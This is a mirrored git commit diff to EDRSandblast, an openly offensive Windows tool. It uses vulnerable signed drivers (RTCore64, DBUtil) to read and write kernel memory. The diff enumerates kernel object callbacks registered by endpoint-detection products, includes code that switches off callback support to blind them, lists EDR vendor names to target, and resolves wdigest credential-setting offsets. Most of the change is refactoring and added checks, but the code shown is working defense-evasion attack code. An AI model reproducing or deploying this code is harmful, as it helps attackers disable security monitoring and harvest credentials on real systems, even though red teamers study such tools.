mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-10 01:17:25 +00:00
Updated README with ObRegisterCallbacks and offsets retrieval info
This commit is contained in:
@@ -11,17 +11,16 @@
|
||||
|
||||
#define RTCore 0
|
||||
#define DBUtil 1
|
||||
// Select the driver to use with the following #define
|
||||
#define VULN_DRIVER RTCore
|
||||
|
||||
#if VULN_DRIVER == RTCore
|
||||
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
||||
#define GetDriverHandle GetDriverHandle_RTCore
|
||||
#define CloseDriverHandle CloseDriverHandle_RTCore
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
||||
#elif VULN_DRIVER == DBUtil
|
||||
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
||||
#define GetDriverHandle GetDriverHandle_DBUtil
|
||||
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
||||
|
||||
@@ -7,6 +7,6 @@ typedef struct symbol_ctx_t {
|
||||
} symbol_ctx;
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
|
||||
DWORD64 GetSymbolOffset(symbol_ctx* ctx, LPCSTR symbol_name);
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
|
||||
@@ -26,36 +26,37 @@ typedef struct UNICODE_STRING_t {
|
||||
} UNICODE_STRING;
|
||||
|
||||
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
|
||||
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
|
||||
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolOffset(sym_ctx, #SYMBOL)
|
||||
|
||||
|
||||
typedef struct OB_CALLBACK_t OB_CALLBACK;
|
||||
|
||||
typedef PVOID POBJECT_TYPE, POB_PRE_OPERATION_CALLBACK, POB_POST_OPERATION_CALLBACK;
|
||||
/*
|
||||
* Internal / undocumented version of OB_OPERATION_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_ENTRY_t {
|
||||
LIST_ENTRY CallbackList;
|
||||
OB_OPERATION Operations;
|
||||
BOOL Enabled;
|
||||
OB_CALLBACK* Entry;
|
||||
PVOID ObjectType; // POBJECT_TYPE
|
||||
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
|
||||
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
|
||||
KSPIN_LOCK Lock;
|
||||
}OB_CALLBACK_ENTRY;
|
||||
LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList
|
||||
OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications
|
||||
BOOL Enabled; // self-explanatory
|
||||
OB_CALLBACK* Entry; // points to the structure in which it is included
|
||||
POBJECT_TYPE ObjectType; // points to the object type affected by the callback
|
||||
POB_PRE_OPERATION_CALLBACK PreOperation; // callback function called before each handle operation
|
||||
POB_POST_OPERATION_CALLBACK PostOperation; // callback function called after each handle operation
|
||||
KSPIN_LOCK Lock; // lock object used for synchronization
|
||||
} OB_CALLBACK_ENTRY;
|
||||
|
||||
/*
|
||||
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
|
||||
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_t {
|
||||
USHORT Version;
|
||||
USHORT OperationRegistrationCount;
|
||||
PVOID RegistrationContext;
|
||||
UNICODE_STRING AltitudeString;
|
||||
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
|
||||
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
|
||||
USHORT Version; // usually 0x100
|
||||
USHORT OperationRegistrationCount; // number of registered callbacks
|
||||
PVOID RegistrationContext; // arbitrary data passed at registration time
|
||||
UNICODE_STRING AltitudeString; // used to determine callbacks order
|
||||
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items
|
||||
WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
|
||||
} OB_CALLBACK;
|
||||
|
||||
|
||||
@@ -66,8 +67,8 @@ DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, Obje
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
|
||||
|
||||
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
|
||||
WORD SupportObjectCallbacks_bit = 0x40;
|
||||
//TODO : parse the bitfield in the PDB symbols to ensure "SupportsObjectCallbacks" is bit 6
|
||||
WORD SupportsObjectCallbacks_bit = 0x40;
|
||||
|
||||
struct ObjTypeSubjectToCallback {
|
||||
TCHAR* name;
|
||||
@@ -140,13 +141,17 @@ void EnumAllObjectsCallbacks() {
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
if (!Enabled) {
|
||||
if (Enabled == FALSE) {
|
||||
continue;
|
||||
}
|
||||
if (Enabled != TRUE) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (Enabled), exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
|
||||
Operations & 1 ? TEXT("creations") : TEXT(""),
|
||||
@@ -193,7 +198,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
||||
}
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
@@ -209,11 +214,15 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
||||
OperationsString = TEXT("creations & duplications");
|
||||
break;
|
||||
default:
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (Operations), exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
if (Enabled != FALSE && Enabled != TRUE) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (Enabled), exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
|
||||
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
|
||||
if (PreOperation) {
|
||||
@@ -429,10 +438,10 @@ void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
if (enable) {
|
||||
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
|
||||
TypeInfo_ObjectTypeFlags |= SupportsObjectCallbacks_bit;
|
||||
}
|
||||
else {
|
||||
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
|
||||
TypeInfo_ObjectTypeFlags &= ~SupportsObjectCallbacks_bit;
|
||||
}
|
||||
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
@@ -447,7 +456,7 @@ BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSub
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
|
||||
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportsObjectCallbacks_bit) != 0;
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
|
||||
return enable;
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
*/
|
||||
|
||||
// List of keywords matching EDR companies as employed for binary digitial signatures.
|
||||
// TODO : enrich this list
|
||||
TCHAR const* EDR_SIGNATURE_KEYWORDS[] = {
|
||||
_T("CarbonBlack"),
|
||||
_T("CrowdStrike"),
|
||||
@@ -15,6 +16,7 @@ TCHAR const* EDR_SIGNATURE_KEYWORDS[] = {
|
||||
_T("Kaspersky"),
|
||||
_T("McAfee"),
|
||||
_T("SentinelOne"),
|
||||
_T("Sentinel Labs"),
|
||||
_T("Symantec")
|
||||
};
|
||||
|
||||
|
||||
@@ -78,15 +78,15 @@ void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
|
||||
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolOffset(sym_ctx, "PspCreateProcessNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolOffset(sym_ctx, "PspCreateThreadNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolOffset(sym_ctx, "PspLoadImageNotifyRoutine");
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolOffset(sym_ctx, "EtwThreatIntProvRegHandle");
|
||||
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
|
||||
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolOffset(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolOffset(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
@@ -73,6 +73,9 @@ symbol_ctx* LoadSymbolsFromPE(PE* pe) {
|
||||
WriteFullFileW(ctx->pdb_name_w, file, file_size);
|
||||
free(file);
|
||||
}
|
||||
else {
|
||||
//TODO : check if exisiting PDB corresponds to the file version
|
||||
}
|
||||
DWORD64 asked_pdb_base_addr = 0x1337000;
|
||||
DWORD pdb_image_size = MAXDWORD;
|
||||
HANDLE cp = GetCurrentProcess();
|
||||
@@ -111,12 +114,17 @@ symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
|
||||
return ctx;
|
||||
}
|
||||
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
|
||||
DWORD64 GetSymbolOffset(symbol_ctx* ctx, LPCSTR symbol_name) {
|
||||
SYMBOL_INFO_PACKAGE si = { 0 };
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
|
||||
return si.si.Address - ctx->pdb_base_addr;
|
||||
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
|
||||
if (res) {
|
||||
return si.si.Address - ctx->pdb_base_addr;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
|
||||
|
||||
@@ -75,8 +75,8 @@ void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
|
||||
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
|
||||
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolOffset(sym_ctx, "g_fParameter_UseLogonCredential");
|
||||
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolOffset(sym_ctx, "g_IsCredGuardEnabled");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user